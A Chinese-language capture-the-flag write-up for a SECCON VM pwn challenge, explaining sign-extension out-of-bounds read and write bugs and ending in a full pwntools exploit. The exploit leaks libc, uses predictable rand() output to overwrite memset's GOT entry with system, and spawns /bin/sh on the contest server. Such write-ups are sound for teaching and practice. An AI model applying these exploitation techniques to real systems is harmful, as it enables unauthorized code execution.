第二个VM中当opcode为0x20时的代码如下

if ( v30 == 0x20 )
{
if ( (unsigned int)(16 * vm_regs_2[1]) + (signed __int64)vm_regs_2[9] > 0xFFFF )
  raise(11);
if ( dword_addr )
  *(_DWORD *)dword_addr = *(_DWORD *)&vm2_input[(int)vm_regs_2[9] + (unsigned __int64)(unsigned int)(16 * vm_regs_2[1])];
else
  raise(4);
vm_regs_2[9] += 4;
goto LABEL_108;
}

其中vm_regs_2[9]是stack_top_offset,vm_regs_2[1]是stack_base,相应的汇编指令如下

.text:0000555555556701                 lea     rax, vm_regs_2
.text:0000555555556708                 mov     eax, [rax+4]
.text:000055555555670B                 shl     eax, 4
.text:000055555555670E                 mov     edx, eax
.text:0000555555556710                 lea     rax, vm_regs_2
.text:0000555555556717                 mov     eax, [rax+24h]
.text:000055555555671A                 cdqe
.text:000055555555671C                 add     rdx, rax
.text:000055555555671F                 lea     rax, vm2_input
.text:0000555555556726                 add     rax, rdx
.text:0000555555556729                 mov     edx, [rax]
.text:000055555555672B                 mov     rax, [rbp+dword_addr]
.text:000055555555672F                 mov     [rax], edx

可以看到stack_top_offset的值从eax有符号扩展到rax,而且上面检查边界时也是如此,因此当stack_top_offset是负值时就会产生一个越界的读漏洞,以此来泄露got表上的libc地址。

第三个VM中当opcode为0x15时的代码如下

case 0x15:
    if ( 16 * vm_regs_3[4] + vm_regs_3[11] < 0 || 16 * vm_regs_3[4] + vm_regs_3[11] > 0xFFFF )
      raise(11);
    v13 = 16 * vm_regs_3[3] + vm_regs_3[11];
    vm_input3[v13] = rand();
    break;

这里有个很奇怪的地方,检查边界是vm_regs_3[4]vm_regs_3[11],但之后的操作却是vm_regs_3[3]vm_regs_3[11],再看汇编指令

.text:0000555555555A9B                 lea     rax, vm_regs_3
.text:0000555555555AA2                 movzx   eax, word ptr [rax+6]
.text:0000555555555AA6                 movzx   eax, ax
.text:0000555555555AA9                 shl     eax, 4
.text:0000555555555AAC                 mov     edx, eax
.text:0000555555555AAE                 lea     rax, vm_regs_3
.text:0000555555555AB5                 movzx   eax, word ptr [rax+16h]
.text:0000555555555AB9                 cwde
.text:0000555555555ABA                 lea     ebx, [rdx+rax]
.text:0000555555555ABD                 call    _rand
.text:0000555555555AC2                 mov     ecx, eax
.text:0000555555555AC4                 lea     rdx, vm_input3
.text:0000555555555ACB                 movsxd  rax, ebx
.text:0000555555555ACE                 mov     [rdx+rax], cl

vm_regs_3[11]的值是从ax有符号扩展到eax的,因此当vm_regs_3[11]为一个负数时就会产生一个越界的写漏洞。写入的值是由rand产生的,但固定了随机数种子srand(0x31337),因此可以预测需要调用rand多少次才能产生指定的值,可以用VM里的指令写个循环结构来实现。最后就是泄露libc地址,改got表上的memset函数为system,再执行第二个VM中opcode为0xC0的指令getshell。

from pwn import *
from ctypes import cdll

LOCAL = 0
DEBUG = 0
VERBOSE = 0

if VERBOSE:
	context.log_level = 'debug'

if LOCAL:
	io = process('./inception', aslr=True)
	libc = ELF('./libc-2.23.so')
	if DEBUG:
		gdb.attach(io)
else:
	io = remote('vm_no_fun.pwn.seccon.jp', 30203)
	libc = ELF('./libc-2.23.so')

libc_so = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc_so.srand(0x31337)

io.recvuntil('Z\n')
io.send('\x01')
io.recvuntil('A\n')
payload = '\x89' + '\x02' + '\x20' + p16(7) + '\x21' + p16(0x600)
payload += '\x0c' + '\x00' + '\xF4' + '\x00'
io.send(p32(len(payload)) + payload)
payload = '\x28' + p32(9) + '\x20' + p32(0xfffeff20) + '\x21'
payload += '\x28' + p32(1) + '\x20' + p32(0) + '\x21'
payload += '\x20' + p32(0x3000) + '\x22' + p32(0) + '\x00'
payload += '\x28' + p32(9) + '\x20' + p32(0xfffeff24) + '\x21'
payload += '\x20' + p32(0x3004) + '\x22' + p32(0) + '\x00'
payload += '\x28' + p32(11) + '\x20' + p32(8) + '\x21'
payload += '\x85' + p32(0) + '\x00' + p32(0) + '\x00'
payload += '\x83' + p32(0) + '\x00' + p32(0) + '\x00'
io.send(p32(len(payload)) + payload)
io.recvuntil('Z\n')
io.send('\x02')
io.recvuntil('B\n')

io.recvuntil('Z\n')
io.send('\x04')
io.recvuntil('Z\n')
io.send('\x01')
io.recvuntil('A\n')

payload = '\x89' + '\x02' + '\x20' + p16(7) + '\x21' + p16(0x800)
payload += '\x89' + '\x02' + '\x20' + p16(0) + '\x21' + p16(0x8)
payload += '\x0B' + '\x00' + '\xF4' + '\x00'
io.send(p32(len(payload)) + payload)

puts_addr = u64(io.recvn(8))
libc_addr = puts_addr - libc.symbols['puts']
system_addr = libc_addr + libc.symbols['system']
log.info('puts_addr:%#x' % puts_addr)
log.info('libc_addr:%#x' % libc_addr)
log.info('system_addr:%#x' % system_addr)

def write(address, value, size):
	load = ''
	for i in range(size):
		load += '\x28' + p32(address + i) + '\x42' + p32(ord(value[i])) + '\x41'
	return load

offset = 0xff78
rand_list = [None] * 256
count = 0
while True:
	rand = libc_so.rand() & 0xff
	if rand_list[rand] is None:
		rand_list[rand] = count
		if None not in rand_list:
			break
	count += 1

print rand_list

count_list = []
for i in range(6):
	count_list.append(rand_list[(system_addr >> (8 * i)) & 0xff])

count_list.sort()
print count_list

rand_count = 0
for i in range(6):
	io.recvuntil('Z\n')
	io.send('\x04')
	io.recvuntil('Z\n')
	io.send('\x05')
	io.recvuntil('Z\n')
	io.send('\x06')
	io.recvuntil('Z\n')
	io.send('\x01')
	payload = '\x89' + '\x02' + '\x20' + p16(7) + '\x21' + p16(0x600)
	payload += '\x0c' + '\x00' + '\xF4' + '\x00'
	io.send(p32(len(payload)) + payload)
	bytecodes = '\x01\x65' + p16(3) + p16(0x0)

	bytecodes += '\x01\x67' + p16(0x4000) + p16(0)
	temp_count = count_list[i]
	bytecodes += '\x0E\x67' + p16(0x4000) + p16(temp_count - rand_count)
	rand_count = temp_count
	bytecodes += '\x12\x67' + p16(0x4000) + p16(20)
	bytecodes += '\x01\x65' + p16(11) + p16(offset+8)
	bytecodes += '\x15\x00'
	bytecodes += '\x02\x67' + p16(0x4000) + p16(1)
	bytecodes += '\x14\x67' + p16(0x4000) + p16((1<<16) - 32)

	bytecodes += '\x01\x65' + p16(11) + p16(offset + p64(system_addr)[0:6].find(chr(rand_list.index(temp_count))))
	rand_count += 1
	bytecodes += '\x15\x00'

	bytecodes += '\x0b\x00'
	payload = write(0x3000, bytecodes, len(bytecodes))
	payload += '\x85' + p32(0) + '\x00' + p32(0) + '\x00'
	payload += '\x83' + p32(0) + '\x00' + p32(0) + '\x00'
	io.send(p32(len(payload)) + payload)
	io.recvuntil('Z\n')
	io.send('\x02')
	io.recvuntil('B\n')
	io.recvuntil('Z\n')
	io.send('\x03')
	io.recvuntil('C\n')

io.recvuntil('Z\n')
io.send('\x04')
io.recvuntil('Z\n')
io.send('\x05')
io.recvuntil('Z\n')
io.send('\x06')
io.recvuntil('Z\n')
io.send('\x01')
payload = '\x89' + '\x02' + '\x20' + p16(7) + '\x21' + p16(0x600)
payload += '\x0c' + '\x00' + '\xF4' + '\x00'
io.send(p32(len(payload)) + payload)
payload = '\x28' + p32(10) + '\x20' + p32(0) + '\x21'
payload += '\x28' + p32(2) + '\x20' + p32(0x21) + '\x21'
payload += '\xc0' + p32(0) + '\x00' + p32(0) + '\x00'
payload += '/bin/sh\x00'
io.send(p32(len(payload)) + payload)
io.recvuntil('Z\n')
io.send('\x02')
io.recvuntil('B\n')

io.interactive()